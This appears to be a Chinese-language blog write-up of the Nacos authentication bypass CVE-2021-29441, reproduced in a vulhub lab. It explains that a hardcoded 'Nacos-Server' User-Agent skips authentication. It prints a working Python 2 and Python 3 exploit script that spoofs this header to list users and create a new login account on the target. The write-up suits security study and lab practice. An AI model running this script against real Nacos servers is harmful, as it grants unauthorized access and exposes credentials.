Nacos 认证绕过漏洞(CVE-2021-29441)
产生原因:
1.认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。
2.开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。
3.攻击者利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
vulhub环境搭建
切换到对应目录
docker-compose up -d
vulhub python2 poc代码分析
1.设定header发送请求,绕过认证
2.添加用户
3.访问xxxx:8848/nacos利用添加用户登录。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import requests
headers = {//设置headers跳过认证
"User-Agent": "Nacos-Server"
}
def check(target):
endpoint = "/nacos/v1/auth/users?pageNo=1&pageSize=9"
r = requests.get(target.strip("/") + endpoint, headers=headers)//设定header发送请求
if r.status_code == 200 and "pageItems" in r.text:
print target + " has vulnerabilities"
return True
print target + "has not vulnerabilities"
return False
//上面if语句根据返回状态码与返回信息,判定了漏洞是否存在
//下面函数向目标网站添加对应用户并根据用户返回相应信息是否添加成功
def add_user(target):
add_user_endpoint = "/nacos/v1/auth/users?username=vulhub&password=vulhub"
r = requests.post(target.strip("/") + add_user_endpoint, headers=headers)
if r.status_code == 200 and "create user ok" in r.text:
print "Add User Success"
print "New User Info: vulhub/vulhub"
print "Nacos Login Endpoint: {}/nacos/".format(target)
exit(1)
print "Add User Failed"
//程序主函数
if __name__ == '__main__':
if len(sys.argv) != 2:
print "Please specify the target: python poc.py http://xxxxx:8848"
exit(-1)
if check(sys.argv[1]):
add_user(sys.argv[1])
vulhub python3 poc代码分析
即在所有的print加括号,由于两版python的不同。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import requests
headers = {
"User-Agent": "Nacos-Server"
}
def check(target):
endpoint = "/nacos/v1/auth/users?pageNo=1&pageSize=9"
r = requests.get(target.strip("/") + endpoint, headers=headers)
if r.status_code == 200 and "pageItems" in r.text:
print (target + " has vulnerabilities")
return True
print (target + "has not vulnerabilities")
return False
def add_user(target):
add_user_endpoint = "/nacos/v1/auth/users?username=vulhub&password=vulhub"
r = requests.post(target.strip("/") + add_user_endpoint, headers=headers)
if r.status_code == 200 and "create user ok" in r.text:
print ("Add User Success")
print ("New User Info: vulhub/vulhub")
print ("Nacos Login Endpoint: {}/nacos/".format(target))
exit(1)
print ("Add User Failed")
if __name__ == '__main__':
if len(sys.argv) != 2:
print ("Please specify the target: python poc.py http://xxxxx:8848")
exit(-1)
if check(sys.argv[1]):
add_user(sys.argv[1])
这里由于之前已经添加过一次所以第二次失败了需要修改POC中,vulhub为aulhub才能成功。
这是由于向数据库添加数据是进行了重复用户判断。
接下来访问http://192.168.253.161:8848/nacos即靶场位置。采用刚添加的用户登陆成功。
参考链接:https://github.com/advisories/GHSA-36hp-jr8h-556f
标签:vulhub,target,29441,Nacos,headers,2021,print,user From: https://www.cnblogs.com/jdslf/p/16869301.html